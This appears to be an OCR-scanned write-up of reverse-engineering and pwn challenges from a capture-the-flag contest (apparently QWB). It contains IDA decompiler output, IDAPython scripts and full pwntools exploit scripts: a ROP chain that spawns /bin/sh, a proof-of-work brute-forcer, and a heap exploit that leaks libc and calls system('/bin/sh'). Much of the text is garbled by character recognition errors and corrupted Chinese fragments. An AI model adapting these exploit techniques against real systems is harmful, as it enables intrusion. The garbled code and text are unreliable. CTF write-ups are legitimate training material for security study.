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v8 = &iphput;

base64(&input, v4);

for (1 =0; 7 <= 44; ++1 )

{
}f Cwvaln] = vs5[1]1 )
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puts("you're not\n");
return OLL;
}
}
puts("yes, you are!\n");
return OLL;
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while ( v20 < 24 ):
v22 = 0;

while ( *(&xmmword_405018 + v22) ==
{

if ( ++v22 >= 0x60 )
v28 = 0;
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B _ElEixmmword 405018 254k T {HR loc_4041483 A 284k Frbl X B RATE#
H—Aidc AEE m %
auto i=0;

while(i<0x60)

{
PatchByte(0x004018A0+1,Byte (0x00404148+1i));

i++;
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b
do

* (&xmmword_405018 + v20) = (v20 + v3) A (0x1010101 * v1l + *(&mmword_405018 + v20));
++v20;

1

while ( v20 < 24 );

v2z2 = 0y

while ( *(&xmmword_405018 + v22) E= *(&loc_404148 + v22) )
{

& ~do while Flwhile

EHEth#i T loc_404148 R—AZRR) o L1 B AR Modzh & 7 AT &0
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*(&xmmword_405018 + v20) = (v20 + v3) A (0x1010101 * v11 + *(&xmmword_405018 + v20)):
AR

*(&xmmword_405018 + v20) A (0x1010101 * v11 + *(&xmmword_405018 + v20))=(v20 + v3)
HABATAT LA XH A v20 BERIEFF N1

XEBATAT UM ZARE —A A

for i in range(100):
if Dword(0x404148)"(Dword(0x405018)+i*0x1010101 )&OXffffffff==Dword(0x404148+4)"( (Dword(0x405018+4)+i*0x1010
print hex(i),hex(Dword(0x404148)/~Dword(0x405018)+(i*0x1010101)&OXffff{ff)

print "yes"
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int result; // eax
char 1input; // [esp+4h] [ebp-68h]
int savedregs; // [esp+6Ch] [ebp+0h]

puts(” # HHHE "
puts(” # # # R R # # O ")
puts(” # # # # # # # # "3
puts(” # # ¥ HEEE # HRERERE  BREEREE ),
puts("# # # # # # # # # "
puts("# # # # # ¥ # # ¥ # "J;
puts (" #####  #HEE R # # ¥ OEEEREE ),

scanf_s("%s", &input);
if ( check(&input, &savedregs) && check2(&input) )
{

puts(“congrats!");
sub 401CAO("f1ag{% 26s}I\n\n", &input);
result = 0;

else
" my o,
puts("sorrv.."):
IDA Yiew—A E LI Fseuaocoae—a ki Is1Strings window EJ (O] Hex View—1 EJ Al Structures &1 Enums E3 Imports EJ [ Export
index = 0;
do
{ :
v6 = Dst[index + 4];

v7 = Dst[index + 5];

vl9 = (Dst[index + 3] << 24) | (Dst[index + 2] << 16) | (Dst[index + 1] << 8) | Dst[index];

v20 = (v7 << 8) | v6 | ((ost[index + 6] | (Dst[index + 7] << 8)) << 16);// 44 ~74F #Akk ~4~int %07
sub_401500(&v19, &v1g8, &v17, &v16);

v8 = v19;

v28[index] = v19;

v28[index + 1] = BYTEL1(vE);
v28[index + 2] = BYTE2(v8);
v28[index + 3] = HIBYTE(VE);

HIWORD(vE) = HIWORD(VZO);
V9 = BYTEl(vZO),

v28[index + 4] = v20;
v28[index + 5] = v9;
v28[index + 6] = BYTE2(V&);
v28[index + 7] = HIBYTE(v&);

index += 8;

while ( index < v4 );
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struction Data M Unexplored External symbol
IDA View-A E] [EPseudocode-A B £ Strings window & @ Hex View-1 £ Structures B E Enums © Imports E #] Exports B

vl = (vO A (v& >> 8)) & OXFFOOFF;

vll = v10 A v9;

vl2 = (v10 << 8) A v8;

vl3 = (vi2z A (vll >> 1)) & 0x55555555;

vl4 = v13 A v1Z;

vlis = (2 * vl3 A v11l) & OxFFOO | ((2 * v13 A v11l) << 16) | ((vl4 & OXFOOOOOOF | ((2 * v13 A v11l) »>> 12) & OXFF0) >> 4);
vl6 = &unk_403108;

result = vl4 & OXFFFFFFF;
v23 = &unk_403108;
do

{

if ( *vlie )

{
vlg = (result << 26) | (result »> 2);
vl9 = v1lE << 26;
v20 = v15 >> 2;

else
vl8 = (result << 27) | (result >> 1);
v19 = v15 << 27;
v20 = v15 >> 1;

1
result = vi8 & OXFFFFFFF;

vls = (v19 | v20) & OXFFFFFFF;
v21 = dword_403948[result & Ox3F] | dword_403A48[(result & OxCO | (result »>> 1) & OxF00) >> 6] | dword_403B48[((resul
v22 = dword_403D48[vl5 & O0x3F] | dword_403F48[(vl5 >> 15) & Ox3F] | dword_404048[(v1l5 & OX1EQ0000 | (v15 »> 1) & Ox60

#y24 = (((v22 << 16) | v21) >> 30) + 4 * ((v22 << 16) | v2l1);

v24[1] = ((v22 & OXFFFFO000 | (v2l >> 16)) >> 26) + ((v22 & OXFFFF0000 | (v2l >> 1B6)) << 6);
vl = v23 + 4;

V24 += 2

v23 = vl16;

}
while ( v16 < dword_403148 );
return result;
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3T flag

ARG pwn

pwn R EE KM H RO ATAKKEENET

pwn XFEHBAERE AALHE R RMAFAIRILT so. . . HEHFEH
58 P AR pwn__stkof X ANEA BEAN A

—IFEHA VI EA getBIIX AT A F &

ERAMEZANEEHR EREHIRE . . o

FE R
[*] '/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/quwb/1/_stkof"'
Arch: i386-32-1little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (©x8048000)

main

FEAN AR A B main B B0 — ke

int _ cdecl main(int argc, const char **argv, const char **envp)

{
puts("Welcome to QWB");

puts("We give you a little challenge, try to pwn it?");
vul();
return 0;
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#3207 /)
int vul()

{
char v1; // [esp+Ch] [ebp-10Ch]

setbuf(stdin, 9);
setbuf(stdout, ©0);
j_memset_ifunc(&vl, 0, 256);
read(0, &vl, 0x300u);
return puts(&vl);

}

#6447

__int64 vul()

{
__int64 veO; // rdx
char buf; // [rsp+6h] [rbp-1106h]

setbuf(stdin, OLL);
setbuf(stdout, OLL);
j_memset_ifunc(&buf, OLL, 256LL);
read(0, &buf, ©x300uLL);

return puts(&buf, &buf, ve);

KA R TE T buf2] % Bk Kebp (rbp) HIKE

il F 6447 rop b B 77 % 3241 i AT F < ropgadget
32f7: 0x080a69f2 : add esp, 0x20 ; ret

6447: 0x000000000040cd18 : add esp, 0x80 ; ret
5% B A ZR MBI,

A A

from pwn import *

io = process('./__stkof"')
int_Ox80_addr = 0x080495a3
bss = Ox080DAFC4
pop_dx_cx_bx_ret = 0x0806e9f1
pop_edi_ret=0x08049b1b
pop_rax_ret = 0x080a8af6
read=0x0806C8EQ

syscall = 0x0000000000461645
bss_64_addr = Ox6a4e40
pop_rdi_64_ret = 0x4005f6

pop_rsi_64_ret = 0x405895
pop_rdx_64_ret = 0x43b9d5
= Ox43b97c

pop_rax_64_ret



a0d_b4_BYSp_ret = Yx4vycal/
add_32_20sp_ret = 0x080a69f2
pay="'A"'*0x110
pay+=p32(add_32_20sp_ret)
pay+="A'*4
pay+=p64(add_64_80sp_ret)
pay+="A'*0x14
pay+=p32(read)
pay+=p32(pop_dx_cx_bx_ret)
pay+=p32(0)

pay+=p32(bss)
pay+=p32(0x8)
pay+=p32(pop_rax_ret)
pay+=p32(0xb)
pay+=p32(pop_dx_cx_bx_ret)
pay+=p32(0)

pay+=p32(0)

pay+=p32(bss)
pay+=p32(int_0x80_addr)
pay+="A"'*0x3c
pay+=p64(pop_rdi_64 ret)
pay+=p64(0x0)
pay+=p64(pop_rsi_64 ret)
pay+=p64(bss_64_addr)
pay+=p64(pop_rdx_64_ret)
pay+=p64(0x20)
pay+=p64(pop_rax_64_ret)
pay+=p64(0)
pay+=p64(syscall)

pay+=p64(pop_rax_64_ret)
pay+=p64(0)
pay+=p64(pop_rsi_64 ret)
pay+=p64(0x0)
pay+=p64(pop_rdx_64_ret)
pay+=p64(0x0)
pay+=p64(pop_rax_64_ret)
pay+=p64(59)
pay+=p64(pop_rdi_64 ret)
pay+=p64(bss_64_addr)
pay+=p64(syscall)
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00")

io.interactive()
io.close()

io = process('./_stkof")
io.recv()
io.sendline(pay)
io.recv()
io.send('/bin/sh\x00")

io.interactive()
io.close()
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import hashlib,sys,socket,re

from struct import pack

from pwn import *

from struct import pack
sss=string.ascii_letters+string.digits
r = remote()

r.recv()

data=r.recv()

print data

skr_sha256 = re.findall('hashlib.sha256\(skr\).hexdigest\(\)=(.*?)\n"', data)[0]
= re.findall('skr\[@©:5\].encode\(\"'hex\'\)=(.*?)\n', data)[@].decode( 'hex")

skr

while True:

for i in range(255, 1, -1):
for j in range(255, 1, -1):

for k in range(255, 1, -1):

temp = skr + chr(i) + chr(j) + chr(k)
_sha256 = hashlib.new('sha256")
_sha256.update(temp)
if _sha256.hexdigest() == skr_sha256:
print temp.encode('hex'),i,j,k
r.send(temp.encode('hex")+'\r\n")
print r.recv(1024)
r.sendline()
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'/media/psf/AllFiles/Volumes/\xe8\xbd\xaf\xe4\xbb\xb6/CTF/qwb/main/task_main'’

[*]
Arch: amd64-64-1ittle
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

[~/Desktop/Link to qwb/main]$

main



// local variable allocation has failed, the output may be wrong!
int __cdecl _ noreturn main(int argc, const char **argv, const char **envp)
{

unsigned int v3; // [rsp+14h] [rbp-Ch]

unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = _ readfsqword(0x28u);
init(*&argc, argv, envp);
welcome(*&argc);
while ( 1)
{
while ( 1)
{
menu();
_iso0c99_scanf("%d", &v3);
getchar();
if (v31=3)
break;
Change();
}
if (v3 > 3)
{
if (v3 ==4)
exit(0);
if (v3 == 1337 )
huangniu();
else
LABEL_15:
puts("something wrong!");
}
else if ( v3 ==1)
{
Get();
}
else
{
if (v31=2)
goto LABEL_15;
Open();

P
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unsigned __int64 Get()

{
_QWORD *v@; // rax
int v1; // eax
char size[12]; // [rsp+4h] [rbp-1Ch]
void *buf; // [rsp+1@h] [rbp-16h]
unsigned _ int64 v5; // [rsp+18h] [rbp-8h]
v5 = _ readfsqword(0x28u);
if ( number > 4 )
{
puts("We don't have too much tickets! Bye~");
exit(0);
}
vO = malloc(@x10uLL);
*&size[4] = voO;
vo[1l] = &puts;
puts(“"The length of my owner's name:");
_isoc99_scanf("%d", size);
getchar();
buf = malloc(*size);
puts(“Give me my owner's name:");
read(0, buf, (*size - 1));
*(buf + (*size - 1)) = OLL;
**&size[4] = buf;
vl = number++;
list[vl] = *&size[4];
puts("OK! Give you a tickets of your own~");
return __readfsqword(©x28u) ~ v5;
}

unsigned __int64 Open()

{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
void (__fastcall *v2)(_QWORD, unsigned int *); // [rsp+8h] [rbp-18h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = _ readfsqword(©x28u);
puts("Please tell me which tickets would you want to open?");
_is0c99_scanf("%d", &vl);
getchar();
if ( vl > number )
{
puts("sorry you can't open this tickets!");
}
else
{
v2 = list[v1][1];
puts("I'm a magic tickets.I will tell you who is my owner!");
v2(*list[vl], &v1);
}

return _ readfsqword(©x28u) ~ v3;



unsigned __int64 Change()
{
int v1; // [rsp+8h] [rbp-18h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+1@h] [rbp-16h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = _ readfsqword(0x28u);
puts("Please tell me which tickets would you want to change it's owner's name?");
_isoc99_scanf("%d", &v2);

getchar();
if ( v2 > number )
{
puts("sorry you can't change this tickets!");
}
else
{
buf = *1list[v2];
puts(“"The length of my owner's name:");
_isoc99_scanf("%d", &vl);
getchar();
puts(“Give me my owner's name:");
read(@, buf, (vli - 1));
puts("OK! I know my owner's new name!");
}
return __readfsqword(0x28u) ~ v4;
}



unsigned __ int64 Change()

{
int v1; // [rsp+8h] [rbp-18h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+16h] [rbp-106h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = _ readfsqword(0x28u);

puts("Please tell me which tickets would you want to change it's owner's name?");
_isoc99_scanf("%d", &v2);

getchar();

if ( v2 > number )

{

puts("sorry you can't change this tickets!");

}

else

{
buf = *1ist[v2];
puts(“"The length of my owner's name:");
_isoc99_scanf("%d", &vl);
getchar();
puts(“Give me my owner's name:");
read(@, buf, (vli - 1));
puts("OK! I know my owner's new name!");

}

return __readfsqword(©x28u) ~ v4;
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from pwn import *
context.log _level='debug'

io=process('./task_main")
#io=remote('49.4.15.125"',30175)
libc=ELF('/1ib/x86_64-1inux-gnu/libc-2.23.s0")

def get(b,a):
io.sendline('1")
io.sendlineafter("The length of my owner's name:\n",str(b))
io.sendafter("Give me my owner's name:\n",a)

def open(a):
io.sendline('2")
io.sendlineafter("Please tell me which tickets would you want to open?\n",str(a))

def change(a,b):
io.sendline('3")
io.sendlineafter("Please tell me which tickets would you want to change it's owner's name?\n",str(a))
io.sendlineafter("The length of my owner's name:",str(len(b)+1))
io.sendafter("Give me my owner's name:",b)

io.recv()

get(20, 'aaaa’)

get (20, "bbbb")

change(9, 'a'*40)

io.recv()

open(9)
io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa’)
puts_addr=u64(io.recv(6).1ljust(8, '\x00"'))
log.success('puts_addr: '+hex(puts_addr))
libc_base=puts_addr-libc.symbols[ 'puts’]
log.success('libc_base: '+hex(libc_base))
bin_sh_addr=1ibc_base+libc.search('/bin/sh\xe0").next()
system_addr=1ibc_base+libc.symbols['system']
pay="a'*0x10+p64(0)+p64(21)+p64(bin_sh_addr)+p64(system_addr)
change (9, pay)

open(1)

#gdb.attach(io)

#pause()

io.interactive()
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